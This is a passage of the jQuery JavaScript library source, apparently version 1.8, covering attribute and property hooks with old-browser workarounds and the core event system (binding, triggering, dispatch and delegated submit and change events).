return !val || val.specified ? elem.value : elem.text;
}
},
select: {
get: function( elem ) {
var value, i, max, option,
index = elem.selectedIndex,
values = [],
options = elem.options,
one = elem.type === "select-one";
// Nothing was selected
if ( index < 0 ) {
return null;
}
// Loop through all the selected options
i = one ? index : 0;
max = one ? index + 1 : options.length;
for ( ; i < max; i++ ) {
option = options[ i ];
// Don't return options that are disabled or in a disabled optgroup
if ( option.selected && (jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) &&
(!option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" )) ) {
// Get the specific value for the option
value = jQuery( option ).val();
// We don't need an array for one selects
if ( one ) {
return value;
}
// Multi-Selects return an array
values.push( value );
}
}
// Fixes Bug #2551 -- select.val() broken in IE after form.reset()
if ( one && !values.length && options.length ) {
return jQuery( options[ index ] ).val();
}
return values;
},
set: function( elem, value ) {
var values = jQuery.makeArray( value );
jQuery(elem).find("option").each(function() {
this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;
});
if ( !values.length ) {
elem.selectedIndex = -1;
}
return values;
}
}
},
// Unused in 1.8, left in so attrFn-stabbers won't die; remove in 1.9
attrFn: {},
attr: function( elem, name, value, pass ) {
var ret, hooks, notxml,
nType = elem.nodeType;
// don't get/set attributes on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return;
}
if ( pass && jQuery.isFunction( jQuery.fn[ name ] ) ) {
return jQuery( elem )[ name ]( value );
}
// Fallback to prop when attributes are not supported
if ( typeof elem.getAttribute === "undefined" ) {
return jQuery.prop( elem, name, value );
}
notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
// All attributes are lowercase
// Grab necessary hook if one is defined
if ( notxml ) {
name = name.toLowerCase();
hooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook );
}
if ( value !== undefined ) {
if ( value === null ) {
jQuery.removeAttr( elem, name );
return;
} else if ( hooks && "set" in hooks && notxml && (ret = hooks.set( elem, value, name )) !== undefined ) {
return ret;
} else {
elem.setAttribute( name, "" + value );
return value;
}
} else if ( hooks && "get" in hooks && notxml && (ret = hooks.get( elem, name )) !== null ) {
return ret;
} else {
ret = elem.getAttribute( name );
// Non-existent attributes return null, we normalize to undefined
return ret === null ?
undefined :
ret;
}
},
removeAttr: function( elem, value ) {
var propName, attrNames, name, isBool,
i = 0;
if ( value && elem.nodeType === 1 ) {
attrNames = value.split( core_rspace );
for ( ; i < attrNames.length; i++ ) {
name = attrNames[ i ];
if ( name ) {
propName = jQuery.propFix[ name ] || name;
isBool = rboolean.test( name );
// See #9699 for explanation of this approach (setting first, then removal)
// Do not do this for boolean attributes (see #10870)
if ( !isBool ) {
jQuery.attr( elem, name, "" );
}
elem.removeAttribute( getSetAttribute ? name : propName );
// Set corresponding property to false for boolean attributes
if ( isBool && propName in elem ) {
elem[ propName ] = false;
}
}
}
}
},
attrHooks: {
type: {
set: function( elem, value ) {
// We can't allow the type property to be changed (since it causes problems in IE)
if ( rtype.test( elem.nodeName ) && elem.parentNode ) {
jQuery.error( "type property can't be changed" );
} else if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) {
// Setting the type on a radio button after the value resets the value in IE6-9
// Reset value to it's default in case type is set after value
// This is for element creation
var val = elem.value;
elem.setAttribute( "type", value );
if ( val ) {
elem.value = val;
}
return value;
}
}
},
// Use the value property for back compat
// Use the nodeHook for button elements in IE6/7 (#1954)
value: {
get: function( elem, name ) {
if ( nodeHook && jQuery.nodeName( elem, "button" ) ) {
return nodeHook.get( elem, name );
}
return name in elem ?
elem.value :
null;
},
set: function( elem, value, name ) {
if ( nodeHook && jQuery.nodeName( elem, "button" ) ) {
return nodeHook.set( elem, value, name );
}
// Does not return so that setAttribute is also used
elem.value = value;
}
}
},
propFix: {
tabindex: "tabIndex",
readonly: "readOnly",
"for": "htmlFor",
"class": "className",
maxlength: "maxLength",
cellspacing: "cellSpacing",
cellpadding: "cellPadding",
rowspan: "rowSpan",
colspan: "colSpan",
usemap: "useMap",
frameborder: "frameBorder",
contenteditable: "contentEditable"
},
prop: function( elem, name, value ) {
var ret, hooks, notxml,
nType = elem.nodeType;
// don't get/set properties on text, comment and attribute nodes
if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
return;
}
notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
if ( notxml ) {
// Fix name and attach hooks
name = jQuery.propFix[ name ] || name;
hooks = jQuery.propHooks[ name ];
}
if ( value !== undefined ) {
if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
return ret;
} else {
return ( elem[ name ] = value );
}
} else {
if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
return ret;
} else {
return elem[ name ];
}
}
},
propHooks: {
tabIndex: {
get: function( elem ) {
// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set
// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
var attributeNode = elem.getAttributeNode("tabindex");
return attributeNode && attributeNode.specified ?
parseInt( attributeNode.value, 10 ) :
rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?
0 :
undefined;
}
}
}
});
// Hook for boolean attributes
boolHook = {
get: function( elem, name ) {
// Align boolean attributes with corresponding properties
// Fall back to attribute presence where some booleans are not supported
var attrNode,
property = jQuery.prop( elem, name );
return property === true || typeof property !== "boolean" && ( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?
name.toLowerCase() :
undefined;
},
set: function( elem, value, name ) {
var propName;
if ( value === false ) {
// Remove boolean attributes when set to false
jQuery.removeAttr( elem, name );
} else {
// value is true since we know at this point it's type boolean and not false
// Set boolean attributes to the same name and set the DOM property
propName = jQuery.propFix[ name ] || name;
if ( propName in elem ) {
// Only set the IDL specifically if it already exists on the element
elem[ propName ] = true;
}
elem.setAttribute( name, name.toLowerCase() );
}
return name;
}
};
// IE6/7 do not support getting/setting some attributes with get/setAttribute
if ( !getSetAttribute ) {
fixSpecified = {
name: true,
id: true,
coords: true
};
// Use this for any attribute in IE6/7
// This fixes almost every IE6/7 issue
nodeHook = jQuery.valHooks.button = {
get: function( elem, name ) {
var ret;
ret = elem.getAttributeNode( name );
return ret && ( fixSpecified[ name ] ? ret.value !== "" : ret.specified ) ?
ret.value :
undefined;
},
set: function( elem, value, name ) {
// Set the existing or create a new attribute node
var ret = elem.getAttributeNode( name );
if ( !ret ) {
ret = document.createAttribute( name );
elem.setAttributeNode( ret );
}
return ( ret.value = value + "" );
}
};
// Set width and height to auto instead of 0 on empty string( Bug #8150 )
// This is for removals
jQuery.each([ "width", "height" ], function( i, name ) {
jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
set: function( elem, value ) {
if ( value === "" ) {
elem.setAttribute( name, "auto" );
return value;
}
}
});
});
// Set contenteditable to false on removals(#10429)
// Setting to empty string throws an error as an invalid value
jQuery.attrHooks.contenteditable = {
get: nodeHook.get,
set: function( elem, value, name ) {
if ( value === "" ) {
value = "false";
}
nodeHook.set( elem, value, name );
}
};
}
// Some attributes require a special call on IE
if ( !jQuery.support.hrefNormalized ) {
jQuery.each([ "href", "src", "width", "height" ], function( i, name ) {
jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], {
get: function( elem ) {
var ret = elem.getAttribute( name, 2 );
return ret === null ? undefined : ret;
}
});
});
}
if ( !jQuery.support.style ) {
jQuery.attrHooks.style = {
get: function( elem ) {
// Return undefined in the case of empty string
// Normalize to lowercase since IE uppercases css property names
return elem.style.cssText.toLowerCase() || undefined;
},
set: function( elem, value ) {
return ( elem.style.cssText = "" + value );
}
};
}
// Safari mis-reports the default selected property of an option
// Accessing the parent's selectedIndex property fixes it
if ( !jQuery.support.optSelected ) {
jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, {
get: function( elem ) {
var parent = elem.parentNode;
if ( parent ) {
parent.selectedIndex;
// Make sure that it also works with optgroups, see #5701
if ( parent.parentNode ) {
parent.parentNode.selectedIndex;
}
}
return null;
}
});
}
// IE6/7 call enctype encoding
if ( !jQuery.support.enctype ) {
jQuery.propFix.enctype = "encoding";
}
// Radios and checkboxes getter/setter
if ( !jQuery.support.checkOn ) {
jQuery.each([ "radio", "checkbox" ], function() {
jQuery.valHooks[ this ] = {
get: function( elem ) {
// Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified
return elem.getAttribute("value") === null ? "on" : elem.value;
}
};
});
}
jQuery.each([ "radio", "checkbox" ], function() {
jQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], {
set: function( elem, value ) {
if ( jQuery.isArray( value ) ) {
return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 );
}
}
});
});
var rformElems = /^(?:textarea|input|select)$/i,
rtypenamespace = /^([^\.]*|)(?:\.(.+)|)$/,
rhoverHack = /(?:^|\s)hover(\.\S+|)\b/,
rkeyEvent = /^key/,
rmouseEvent = /^(?:mouse|contextmenu)|click/,
rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
hoverHack = function( events ) {
return jQuery.event.special.hover ? events : events.replace( rhoverHack, "mouseenter$1 mouseleave$1" );
};
/*
* Helper functions for managing events -- not part of the public interface.
* Props to Dean Edwards' addEvent library for many of the ideas.
*/
jQuery.event = {
add: function( elem, types, handler, data, selector ) {
var elemData, eventHandle, events,
t, tns, type, namespaces, handleObj,
handleObjIn, handlers, special;
// Don't attach events to noData or text/comment nodes (allow plain objects tho)
if ( elem.nodeType === 3 || elem.nodeType === 8 || !types || !handler || !(elemData = jQuery._data( elem )) ) {
return;
}
// Caller can pass in an object of custom data in lieu of the handler
if ( handler.handler ) {
handleObjIn = handler;
handler = handleObjIn.handler;
selector = handleObjIn.selector;
}
// Make sure that the handler has a unique ID, used to find/remove it later
if ( !handler.guid ) {
handler.guid = jQuery.guid++;
}
// Init the element's event structure and main handler, if this is the first
events = elemData.events;
if ( !events ) {
elemData.events = events = {};
}
eventHandle = elemData.handle;
if ( !eventHandle ) {
elemData.handle = eventHandle = function( e ) {
// Discard the second event of a jQuery.event.trigger() and
// when an event is called after a page has unloaded
return typeof jQuery !== "undefined" && (!e || jQuery.event.triggered !== e.type) ?
jQuery.event.dispatch.apply( eventHandle.elem, arguments ) :
undefined;
};
// Add elem as a property of the handle fn to prevent a memory leak with IE non-native events
eventHandle.elem = elem;
}
// Handle multiple events separated by a space
// jQuery(...).bind("mouseover mouseout", fn);
types = jQuery.trim( hoverHack(types) ).split( " " );
for ( t = 0; t < types.length; t++ ) {
tns = rtypenamespace.exec( types[t] ) || [];
type = tns[1];
namespaces = ( tns[2] || "" ).split( "." ).sort();
// If event changes its type, use the special event handlers for the changed type
special = jQuery.event.special[ type ] || {};
// If selector defined, determine special event api type, otherwise given type
type = ( selector ? special.delegateType : special.bindType ) || type;
// Update special based on newly reset type
special = jQuery.event.special[ type ] || {};
// handleObj is passed to all event handlers
handleObj = jQuery.extend({
type: type,
origType: tns[1],
data: data,
handler: handler,
guid: handler.guid,
selector: selector,
namespace: namespaces.join(".")
}, handleObjIn );
// Init the event handler queue if we're the first
handlers = events[ type ];
if ( !handlers ) {
handlers = events[ type ] = [];
handlers.delegateCount = 0;
// Only use addEventListener/attachEvent if the special events handler returns false
if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {
// Bind the global event handler to the element
if ( elem.addEventListener ) {
elem.addEventListener( type, eventHandle, false );
} else if ( elem.attachEvent ) {
elem.attachEvent( "on" + type, eventHandle );
}
}
}
if ( special.add ) {
special.add.call( elem, handleObj );
if ( !handleObj.handler.guid ) {
handleObj.handler.guid = handler.guid;
}
}
// Add to the element's handler list, delegates in front
if ( selector ) {
handlers.splice( handlers.delegateCount++, 0, handleObj );
} else {
handlers.push( handleObj );
}
// Keep track of which events have ever been used, for event optimization
jQuery.event.global[ type ] = true;
}
// Nullify elem to prevent memory leaks in IE
elem = null;
},
global: {},
// Detach an event or set of events from an element
remove: function( elem, types, handler, selector, mappedTypes ) {
var t, tns, type, origType, namespaces, origCount,
j, events, special, eventType, handleObj,
elemData = jQuery.hasData( elem ) && jQuery._data( elem );
if ( !elemData || !(events = elemData.events) ) {
return;
}
// Once for each type.namespace in types; type may be omitted
types = jQuery.trim( hoverHack( types || "" ) ).split(" ");
for ( t = 0; t < types.length; t++ ) {
tns = rtypenamespace.exec( types[t] ) || [];
type = origType = tns[1];
namespaces = tns[2];
// Unbind all events (on this namespace, if provided) for the element
if ( !type ) {
for ( type in events ) {
jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
}
continue;
}
special = jQuery.event.special[ type ] || {};
type = ( selector? special.delegateType : special.bindType ) || type;
eventType = events[ type ] || [];
origCount = eventType.length;
namespaces = namespaces ? new RegExp("(^|\\.)" + namespaces.split(".").sort().join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
// Remove matching events
for ( j = 0; j < eventType.length; j++ ) {
handleObj = eventType[ j ];
if ( ( mappedTypes || origType === handleObj.origType ) &&
( !handler || handler.guid === handleObj.guid ) &&
( !namespaces || namespaces.test( handleObj.namespace ) ) &&
( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) {
eventType.splice( j--, 1 );
if ( handleObj.selector ) {
eventType.delegateCount--;
}
if ( special.remove ) {
special.remove.call( elem, handleObj );
}
}
}
// Remove generic event handler if we removed something and no more handlers exist
// (avoids potential for endless recursion during removal of special event handlers)
if ( eventType.length === 0 && origCount !== eventType.length ) {
if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) {
jQuery.removeEvent( elem, type, elemData.handle );
}
delete events[ type ];
}
}
// Remove the expando if it's no longer used
if ( jQuery.isEmptyObject( events ) ) {
delete elemData.handle;
// removeData also checks for emptiness and clears the expando if empty
// so use it instead of delete
jQuery.removeData( elem, "events", true );
}
},
// Events that are safe to short-circuit if no handlers are attached.
// Native DOM events should not be added, they may have inline handlers.
customEvent: {
"getData": true,
"setData": true,
"changeData": true
},
trigger: function( event, data, elem, onlyHandlers ) {
// Don't do events on text and comment nodes
if ( elem && (elem.nodeType === 3 || elem.nodeType === 8) ) {
return;
}
// Event object or event type
var cache, exclusive, i, cur, old, ontype, special, handle, eventPath, bubbleType,
type = event.type || event,
namespaces = [];
// focus/blur morphs to focusin/out; ensure we're not firing them right now
if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
return;
}
if ( type.indexOf( "!" ) >= 0 ) {
// Exclusive events trigger only for the exact event (no namespaces)
type = type.slice(0, -1);
exclusive = true;
}
if ( type.indexOf( "." ) >= 0 ) {
// Namespaced trigger; create a regexp to match event type in handle()
namespaces = type.split(".");
type = namespaces.shift();
namespaces.sort();
}
if ( (!elem || jQuery.event.customEvent[ type ]) && !jQuery.event.global[ type ] ) {
// No jQuery handlers for this event type, and it can't have inline handlers
return;
}
// Caller can pass in an Event, Object, or just an event type string
event = typeof event === "object" ?
// jQuery.Event object
event[ jQuery.expando ] ? event :
// Object literal
new jQuery.Event( type, event ) :
// Just the event type (string)
new jQuery.Event( type );
event.type = type;
event.isTrigger = true;
event.exclusive = exclusive;
event.namespace = namespaces.join( "." );
event.namespace_re = event.namespace? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
ontype = type.indexOf( ":" ) < 0 ? "on" + type : "";
// Handle a global trigger
if ( !elem ) {
// TODO: Stop taunting the data cache; remove global events and always attach to document
cache = jQuery.cache;
for ( i in cache ) {
if ( cache[ i ].events && cache[ i ].events[ type ] ) {
jQuery.event.trigger( event, data, cache[ i ].handle.elem, true );
}
}
return;
}
// Clean up the event in case it is being reused
event.result = undefined;
if ( !event.target ) {
event.target = elem;
}
// Clone any incoming data and prepend the event, creating the handler arg list
data = data != null ? jQuery.makeArray( data ) : [];
data.unshift( event );
// Allow special events to draw outside the lines
special = jQuery.event.special[ type ] || {};
if ( special.trigger && special.trigger.apply( elem, data ) === false ) {
return;
}
// Determine event propagation path in advance, per W3C events spec (#9951)
// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
eventPath = [[ elem, special.bindType || type ]];
if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {
bubbleType = special.delegateType || type;
cur = rfocusMorph.test( bubbleType + type ) ? elem : elem.parentNode;
for ( old = elem; cur; cur = cur.parentNode ) {
eventPath.push([ cur, bubbleType ]);
old = cur;
}
// Only add window if we got to document (e.g., not plain obj or detached DOM)
if ( old === (elem.ownerDocument || document) ) {
eventPath.push([ old.defaultView || old.parentWindow || window, bubbleType ]);
}
}
// Fire handlers on the event path
for ( i = 0; i < eventPath.length && !event.isPropagationStopped(); i++ ) {
cur = eventPath[i][0];
event.type = eventPath[i][1];
handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" );
if ( handle ) {
handle.apply( cur, data );
}
// Note that this is a bare JS function and not a jQuery handler
handle = ontype && cur[ ontype ];
if ( handle && jQuery.acceptData( cur ) && handle.apply( cur, data ) === false ) {
event.preventDefault();
}
}
event.type = type;
// If nobody prevented the default action, do it now
if ( !onlyHandlers && !event.isDefaultPrevented() ) {
if ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) &&
!(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) {
// Call a native DOM method on the target with the same name name as the event.
// Can't use an .isFunction() check here because IE6/7 fails that test.
// Don't do default actions on window, that's where global variables be (#6170)
// IE<9 dies on focus/blur to hidden element (#1486)
if ( ontype && elem[ type ] && ((type !== "focus" && type !== "blur") || event.target.offsetWidth !== 0) && !jQuery.isWindow( elem ) ) {
// Don't re-trigger an onFOO event when we call its FOO() method
old = elem[ ontype ];
if ( old ) {
elem[ ontype ] = null;
}
// Prevent re-triggering of the same event, since we already bubbled it above
jQuery.event.triggered = type;
elem[ type ]();
jQuery.event.triggered = undefined;
if ( old ) {
elem[ ontype ] = old;
}
}
}
}
return event.result;
},
dispatch: function( event ) {
// Make a writable jQuery.Event from the native event object
event = jQuery.event.fix( event || window.event );
var i, j, cur, jqcur, ret, selMatch, matched, matches, handleObj, sel, related,
handlers = ( (jQuery._data( this, "events" ) || {} )[ event.type ] || []),
delegateCount = handlers.delegateCount,
args = [].slice.call( arguments ),
run_all = !event.exclusive && !event.namespace,
special = jQuery.event.special[ event.type ] || {},
handlerQueue = [];
// Use the fix-ed jQuery.Event rather than the (read-only) native event
args[0] = event;
event.delegateTarget = this;
// Call the preDispatch hook for the mapped type, and let it bail if desired
if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
return;
}
// Determine handlers that should run if there are delegated events
// Avoid non-left-click bubbling in Firefox (#3861)
if ( delegateCount && !(event.button && event.type === "click") ) {
// Pregenerate a single jQuery object for reuse with .is()
jqcur = jQuery(this);
jqcur.context = this;
for ( cur = event.target; cur != this; cur = cur.parentNode || this ) {
// Don't process clicks (ONLY) on disabled elements (#6911, #8165, #xxxx)
if ( cur.disabled !== true || event.type !== "click" ) {
selMatch = {};
matches = [];
jqcur[0] = cur;
for ( i = 0; i < delegateCount; i++ ) {
handleObj = handlers[ i ];
sel = handleObj.selector;
if ( selMatch[ sel ] === undefined ) {
selMatch[ sel ] = jqcur.is( sel );
}
if ( selMatch[ sel ] ) {
matches.push( handleObj );
}
}
if ( matches.length ) {
handlerQueue.push({ elem: cur, matches: matches });
}
}
}
}
// Add the remaining (directly-bound) handlers
if ( handlers.length > delegateCount ) {
handlerQueue.push({ elem: this, matches: handlers.slice( delegateCount ) });
}
// Run delegates first; they may want to stop propagation beneath us
for ( i = 0; i < handlerQueue.length && !event.isPropagationStopped(); i++ ) {
matched = handlerQueue[ i ];
event.currentTarget = matched.elem;
for ( j = 0; j < matched.matches.length && !event.isImmediatePropagationStopped(); j++ ) {
handleObj = matched.matches[ j ];
// Triggered event must either 1) be non-exclusive and have no namespace, or
// 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace).
if ( run_all || (!event.namespace && !handleObj.namespace) || event.namespace_re && event.namespace_re.test( handleObj.namespace ) ) {
event.data = handleObj.data;
event.handleObj = handleObj;
ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler )
.apply( matched.elem, args );
if ( ret !== undefined ) {
event.result = ret;
if ( ret === false ) {
event.preventDefault();
event.stopPropagation();
}
}
}
}
}
// Call the postDispatch hook for the mapped type
if ( special.postDispatch ) {
special.postDispatch.call( this, event );
}
return event.result;
},
// Includes some event props shared by KeyEvent and MouseEvent
// *** attrChange attrName relatedNode srcElement are not normalized, non-W3C, deprecated, will be removed in 1.8 ***
props: "attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
fixHooks: {},
keyHooks: {
props: "char charCode key keyCode".split(" "),
filter: function( event, original ) {
// Add which for key events
if ( event.which == null ) {
event.which = original.charCode != null ? original.charCode : original.keyCode;
}
return event;
}
},
mouseHooks: {
props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
filter: function( event, original ) {
var eventDoc, doc, body,
button = original.button,
fromElement = original.fromElement;
// Calculate pageX/Y if missing and clientX/Y available
if ( event.pageX == null && original.clientX != null ) {
eventDoc = event.target.ownerDocument || document;
doc = eventDoc.documentElement;
body = eventDoc.body;
event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 );
event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 );
}
// Add relatedTarget, if necessary
if ( !event.relatedTarget && fromElement ) {
event.relatedTarget = fromElement === event.target ? original.toElement : fromElement;
}
// Add which for click: 1 === left; 2 === middle; 3 === right
// Note: button is not normalized, so don't use it
if ( !event.which && button !== undefined ) {
event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );
}
return event;
}
},
fix: function( event ) {
if ( event[ jQuery.expando ] ) {
return event;
}
// Create a writable copy of the event object and normalize some properties
var i, prop,
originalEvent = event,
fixHook = jQuery.event.fixHooks[ event.type ] || {},
copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;
event = jQuery.Event( originalEvent );
for ( i = copy.length; i; ) {
prop = copy[ --i ];
event[ prop ] = originalEvent[ prop ];
}
// Fix target property, if necessary (#1925, IE 6/7/8 & Safari2)
if ( !event.target ) {
event.target = originalEvent.srcElement || document;
}
// Target should not be a text node (#504, Safari)
if ( event.target.nodeType === 3 ) {
event.target = event.target.parentNode;
}
// For mouse/key events, metaKey==false if it's undefined (#3368, #11328; IE6/7/8)
event.metaKey = !!event.metaKey;
return fixHook.filter? fixHook.filter( event, originalEvent ) : event;
},
special: {
ready: {
// Make sure the ready event is setup
setup: jQuery.bindReady
},
load: {
// Prevent triggered image.load events from bubbling to window.load
noBubble: true
},
focus: {
delegateType: "focusin"
},
blur: {
delegateType: "focusout"
},
beforeunload: {
setup: function( data, namespaces, eventHandle ) {
// We only want to do this special case on windows
if ( jQuery.isWindow( this ) ) {
this.onbeforeunload = eventHandle;
}
},
teardown: function( namespaces, eventHandle ) {
if ( this.onbeforeunload === eventHandle ) {
this.onbeforeunload = null;
}
}
}
},
simulate: function( type, elem, event, bubble ) {
// Piggyback on a donor event to simulate a different one.
// Fake originalEvent to avoid donor's stopPropagation, but if the
// simulated event prevents default then we do the same on the donor.
var e = jQuery.extend(
new jQuery.Event(),
event,
{ type: type,
isSimulated: true,
originalEvent: {}
}
);
if ( bubble ) {
jQuery.event.trigger( e, null, elem );
} else {
jQuery.event.dispatch.call( elem, e );
}
if ( e.isDefaultPrevented() ) {
event.preventDefault();
}
}
};
// Some plugins are using, but it's undocumented/deprecated and will be removed.
// The 1.7 special event interface should provide all the hooks needed now.
jQuery.event.handle = jQuery.event.dispatch;
jQuery.removeEvent = document.removeEventListener ?
function( elem, type, handle ) {
if ( elem.removeEventListener ) {
elem.removeEventListener( type, handle, false );
}
} :
function( elem, type, handle ) {
var name = "on" + type;
if ( elem.detachEvent ) {
// #8545, #7054, preventing memory leaks for custom events in IE6-8 –
// detachEvent needed property on element, by name of that event, to properly expose it to GC
if ( typeof elem[ name ] === "undefined" ) {
elem[ name ] = null;
}
elem.detachEvent( name, handle );
}
};
jQuery.Event = function( src, props ) {
// Allow instantiation without the 'new' keyword
if ( !(this instanceof jQuery.Event) ) {
return new jQuery.Event( src, props );
}
// Event object
if ( src && src.type ) {
this.originalEvent = src;
this.type = src.type;
// Events bubbling up the document may have been marked as prevented
// by a handler lower down the tree; reflect the correct value.
this.isDefaultPrevented = ( src.defaultPrevented || src.returnValue === false ||
src.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse;
// Event type
} else {
this.type = src;
}
// Put explicitly provided properties onto the event object
if ( props ) {
jQuery.extend( this, props );
}
// Create a timestamp if incoming event doesn't have one
this.timeStamp = src && src.timeStamp || jQuery.now();
// Mark it as fixed
this[ jQuery.expando ] = true;
};
function returnFalse() {
return false;
}
function returnTrue() {
return true;
}
// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
jQuery.Event.prototype = {
preventDefault: function() {
this.isDefaultPrevented = returnTrue;
var e = this.originalEvent;
if ( !e ) {
return;
}
// if preventDefault exists run it on the original event
if ( e.preventDefault ) {
e.preventDefault();
// otherwise set the returnValue property of the original event to false (IE)
} else {
e.returnValue = false;
}
},
stopPropagation: function() {
this.isPropagationStopped = returnTrue;
var e = this.originalEvent;
if ( !e ) {
return;
}
// if stopPropagation exists run it on the original event
if ( e.stopPropagation ) {
e.stopPropagation();
}
// otherwise set the cancelBubble property of the original event to true (IE)
e.cancelBubble = true;
},
stopImmediatePropagation: function() {
this.isImmediatePropagationStopped = returnTrue;
this.stopPropagation();
},
isDefaultPrevented: returnFalse,
isPropagationStopped: returnFalse,
isImmediatePropagationStopped: returnFalse
};
// Create mouseenter/leave events using mouseover/out and event-time checks
jQuery.each({
mouseenter: "mouseover",
mouseleave: "mouseout"
}, function( orig, fix ) {
jQuery.event.special[ orig ] = {
delegateType: fix,
bindType: fix,
handle: function( event ) {
var ret,
target = this,
related = event.relatedTarget,
handleObj = event.handleObj,
selector = handleObj.selector;
// For mousenter/leave call the handler if related is outside the target.
// NB: No relatedTarget if the mouse left/entered the browser window
if ( !related || (related !== target && !jQuery.contains( target, related )) ) {
event.type = handleObj.origType;
ret = handleObj.handler.apply( this, arguments );
event.type = fix;
}
return ret;
}
};
});
// IE submit delegation
if ( !jQuery.support.submitBubbles ) {
jQuery.event.special.submit = {
setup: function() {
// Only need this for delegated form submit events
if ( jQuery.nodeName( this, "form" ) ) {
return false;
}
// Lazy-add a submit handler when a descendant form may potentially be submitted
jQuery.event.add( this, "click._submit keypress._submit", function( e ) {
// Node name check avoids a VML-related crash in IE (#9807)
var elem = e.target,
form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined;
if ( form && !jQuery._data( form, "_submit_attached" ) ) {
jQuery.event.add( form, "submit._submit", function( event ) {
event._submit_bubble = true;
});
jQuery._data( form, "_submit_attached", true );
}
});
// return undefined since we don't need an event listener
},
postDispatch: function( event ) {
// If form was submitted by the user, bubble the event up the tree
if ( event._submit_bubble ) {
delete event._submit_bubble;
if ( this.parentNode && !event.isTrigger ) {
jQuery.event.simulate( "submit", this.parentNode, event, true );
}
}
},
teardown: function() {
// Only need this for delegated form submit events
if ( jQuery.nodeName( this, "form" ) ) {
return false;
}
// Remove delegated handlers; cleanData eventually reaps submit handlers attached above
jQuery.event.remove( this, "._submit" );
}
};
}
// IE change delegation and checkbox/radio fix
if ( !jQuery.support.changeBubbles ) {
jQuery.event.special.change = {
setup: function() {
if ( rformElems.test( this.nodeName ) ) {
// IE doesn't fire change on a check/radio until blur; trigger it on click
// after a propertychange. Eat the blur-change in special.change.handle.
// This still fires onchange a second time for check/radio after blur.
if ( this.type === "checkbox" || this.type === "radio" ) {
jQuery.event.add( this, "propertychange._change", function( event ) {
if ( event.originalEvent.propertyName === "checked" ) {
this._just_changed = true;
}
});
jQuery.event.add( this, "click._change", function( event ) {
if ( this._just_changed && !event.isTrigger ) {
this._just_changed = false;
}
// Allow triggered, simulated change events (#11500)
jQuery.event.simulate( "change", this, event, true );
});
}
return false;
}
// Delegated event; lazy-add a change handler on descendant inputs
jQuery.event.add( this, "beforeactivate._change", function( e ) {
var elem = e.target;
if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "_change_attached" ) ) {
jQuery.event.add( elem, "change._change", function( event ) {
if ( this.parentNode && !event.isSimulated && !event.isTrigger ) {
jQuery.event.simulate( "change", this.parentNode, event, true );
}
});
jQuery._data( elem, "_change_attached", true );
}
});
},
handle: function( event ) {
var elem = event.target;
// Swallow native change events from checkbox/radio, we already triggered them above
if ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox") ) {
return event.handleObj.handler.apply( this, arguments );
}
},
teardown: function() {
jQuery.event.remove( this, "._change" );
return rformElems.test( this.nodeName );
}
};
}
// Create "bubbling" focus and blur events
if ( !jQuery.support.focusinBubbles ) {
jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) {
// Attach a single capturing handler while someone wants focusin/focusout
var attaches = 0,
handler = function( event ) {
jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );
};
jQuery.event.special[ fix ] = {
setup: function() {
if ( attaches++ === 0 ) {
document.addEventListener( orig, handler, true );
}
},
